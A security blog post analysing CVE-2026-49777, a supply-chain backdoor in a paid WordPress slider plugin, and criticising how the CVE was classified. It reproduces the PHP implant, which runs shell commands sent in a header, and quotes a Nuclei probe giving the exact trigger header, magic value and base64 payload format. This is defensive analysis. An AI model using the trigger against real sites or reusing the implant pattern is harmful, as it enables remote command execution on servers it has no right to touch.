//nefariousplan

CVE-2026-49777: ShapedPlugin Shipped The Smart Slider Backdoor

vendor

patterns

cve

proof of concept

Patchstack filed CVE-2026-49777 against ShapedPlugin's Product Slider Pro for WooCommerce as "Improper Validation of Specified Quantity in Input." CWE-1284. The plugin does not validate input. It reads X-Cache-Status from the inbound request, compares the value to the literal string nw9xQmK4, base64-decodes X-Cache-Key, and hands the bytes to shell_exec.

The magic value is nw9xQmK4. The trigger header is X-Cache-Status. The shell-exec line is echo @shell_exec(base64_decode($ck) . " 2>&1");. Patchstack documented those exact bytes two months earlier, on a different vendor's plugin, in a different CVE. The plugin name on this CVE is ShapedPlugin. The malware in the plugin is from Nextend. The CVE catalog filed it as an input-validation vulnerability. The code in the catalog is a shell.

The Nuclei template knew what the CVE record did not

ProjectDiscovery published the Nuclei template on the same day the CVE published. The probe is fifty lines of YAML. It is the cleanest piece of forensic evidence in the disclosure.

variables:
  a: "{{rand_int(10000, 99999)}}"
  b: "{{rand_int(10000, 99999)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Cache-Status: nw9xQmK4
        X-Cache-Key: {{base64("expr " + a + " + " + b)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(a)+to_number(b)}}"

      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/plain')"
        condition: and

The probe sends GET / with two headers. X-Cache-Status: nw9xQmK4 is the trigger. X-Cache-Key carries the base64 of a randomly-parameterized shell command. The command is expr <rand_a> + <rand_b>. The matcher then asserts that the response body contains the sum of those two random integers, that the status code is 200, and that the response content type is text/plain.

This is not a vulnerability probe. There is no fuzzing, no crafted payload, no edge-case input. The probe sends well-formed bytes to the backdoor on its documented call surface and confirms the backdoor responded with the literal output of /bin/expr. Any WordPress site running the affected plugin version answers the probe with arithmetic. Any site that does not is not running the backdoor.

The classification on the Nuclei template is CWE-506, Embedded Malicious Code. The classification on the NVD record is CWE-1284, Improper Validation of Specified Quantity in Input. Patchstack assigned both, on the same day, for the same artifact.

The plugin reads headers and shells out

Patchstack does not publish the Product Slider Pro backdoor source in its public advisory. They published the equivalent for Smart Slider 3 Pro in April, and the Nuclei probe confirms the implant in Product Slider Pro is byte-compatible with it. The injected entry point is approximately:

if (isset($_SERVER["HTTP_X_CACHE_STATUS"]) && $_SERVER["HTTP_X_CACHE_STATUS"] === "nw9xQmK4") {
    @ob_end_clean();
    @error_reporting(0);
    header("Content-Type:text/plain");
    $ck = isset($_SERVER["HTTP_X_CACHE_KEY"]) ? $_SERVER["HTTP_X_CACHE_KEY"] : "aWQ=";
    echo @shell_exec(base64_decode($ck) . " 2>&1");
    exit;
}

aWQ= is the base64 encoding of id. The default action of the backdoor, when triggered with no payload, is to run id against the webserver process and return the result in the response body. The trigger string nw9xQmK4 is the unique identifier the operator uses to distinguish their backdoor from background WordPress traffic. The header name is chosen with care. X-Cache-Status is a header that legitimate caching layers (Nginx, Varnish, Cloudflare) emit on responses, not requests, which is precisely why a request carrying it never collides with normal traffic and never trips a WAF rule looking for cache-bypass abuse.

The handler runs before any plugin authentication, before any WordPress nonce, before any user lookup. It runs because the file the implant lives in is loaded on every WordPress request to bootstrap the plugin's hooks. The exit; at the end suppresses the rest of the WordPress lifecycle, so the request answers in the round-trip the operator chose, without a wp-login-shaped log line, without a wp-admin-shaped log line, without anything but a 200 with Content-Type: text/plain and a body whose shape the operator already knows.

CWE-1284 names a vulnerability that does not exist in this plugin

CWE-1284 is "Improper Validation of Specified Quantity in Input." The MITRE description of the weakness is that "the product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties." This describes nothing about CVE-2026-49777. The plugin does not validate a quantity. The plugin does not validate anything. The plugin's pre-patch code is a working remote shell hidden behind a header check.

The CVE description reads, verbatim: "Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted." The grammar is broken because the template Patchstack uses for CVE assignment interpolates the CWE name into a fixed sentence shape that assumes the CWE describes a vulnerability. CWE-506, the category the Nuclei template uses for the same artifact, is "Embedded Malicious Code." That CWE describes exactly what happened. Patchstack chose the wrong one for the public CVE record and the right one for the public detection signature, on the same day, on the same artifact.

The reason matters. A CVE classified as "Improper Validation of Specified Quantity in Input" gets reconciled by a defender's vulnerability management pipeline as input-validation hygiene. The reconciler's remediation field reads "apply the vendor patch." The vendor patch deletes the implant from the plugin's source tree. Auto-update replaces the file. The administrator account the prior file created on first run is not in the file. The cron entry the prior file registered is not in the file. The credentials the prior file harvested and posted to whatever C2 the operator chose are not in the file. Replacing the file does not remove any of them. The CVE record reads as if it does.

The compromise is at the license server

Smart Slider 3 Pro does not ship through WordPress.org. The free Smart Slider plugin does, and the free version was not affected. The Pro version distributes through Nextend's own license server. The April incident affected only the Pro version, because only the Pro version flowed through the compromised channel.

ShapedPlugin's Product Slider Pro for WooCommerce is the same shape. The free woo-product-slider plugin ships from WordPress.org and is not named in the CVE. The Pro plugin updates through ShapedPlugin's own license server. The malicious release flowed through that channel.

This is maintainer-account-compromise at the WordPress paid-plugin distribution layer, which is structurally a per-vendor unsigned package registry with one publisher and a download count in the tens of thousands. Each vendor runs their own. There is no central review. There is no provenance attestation. There is no automated diff between consecutive releases. The publish authority is a vendor employee's session against the vendor's update server, and when that session is taken over by someone else, the update server publishes whatever the new operator hands it. Every site that auto-updates the Pro plugin trusts the publish authority on the day of the publish, the same way every npm consumer trusted the axios maintainer on the day Sapphire Sleet shipped a malicious axios release.

The npm consumer's defense, when it exists, is lockfile pinning and integrity-hash comparison across versions. The WordPress paid-plugin consumer's defense does not exist. Auto-update is one preference toggle. The plugin distribution payload is a ZIP file the license server hands over. There is no manifest the consumer can verify against a prior known-good release without writing the verification themselves. The defensive scaffolding that npm and PyPI eventually built, after a decade of incidents, does not exist for the per-vendor WordPress license server, and the per-vendor WordPress license server is not the unit anyone is building it for.

The CVE record names ShapedPlugin. The code names Nextend.

Nextend's compromise was visible within six hours, because the incident was loud and the malware was novel enough to attract immediate attention. ShapedPlugin's compromise was reported by an outside researcher named Shane on May 21, 2026. The CVE published on June 5. Public sources do not say when the malicious release first shipped. We know it was after April 7, because before April 7 the malware did not exist in this form. We know it was before May 21, because that is the date the report names. The window between first-ship and detection is the window in which every site that auto-updated received the backdoor under ShapedPlugin's name.

The two CVEs are listed as separate incidents in the catalog. CVE-2026-34424 belongs to Nextend's Smart Slider 3 Pro. CVE-2026-49777 belongs to ShapedPlugin's Product Slider Pro for WooCommerce. The vulnerability databases reconcile them as two unrelated supply-chain incidents in two unrelated WordPress slider plugins. The Nuclei templates fingerprint them with the same bytes. The PHP runs the same shell_exec. The header carries the same magic value. This is disclosure-after-exploitation at the campaign level: the second occurrence got an unknown window in the wild, a one-sentence CVE description, and the wrong CWE.

Either the same actor compromised two paid-plugin vendors with the same payload, or the paid-plugin ecosystem has a shared compromise vector the public record does not yet name. The catalog does not distinguish between those two possibilities, because the catalog files each incident as a single-vendor input-validation vulnerability. Defenders reading the catalog cannot ask the question. The Nuclei template that says CWE-506 and tags the artifact backdoor, supply-chain, kev is the only artifact in the disclosure that names the shape.

PoC: projectdiscovery/nuclei-templates

The CVE catalog filed it as an input-validation vulnerability. The code in the catalog is a shell.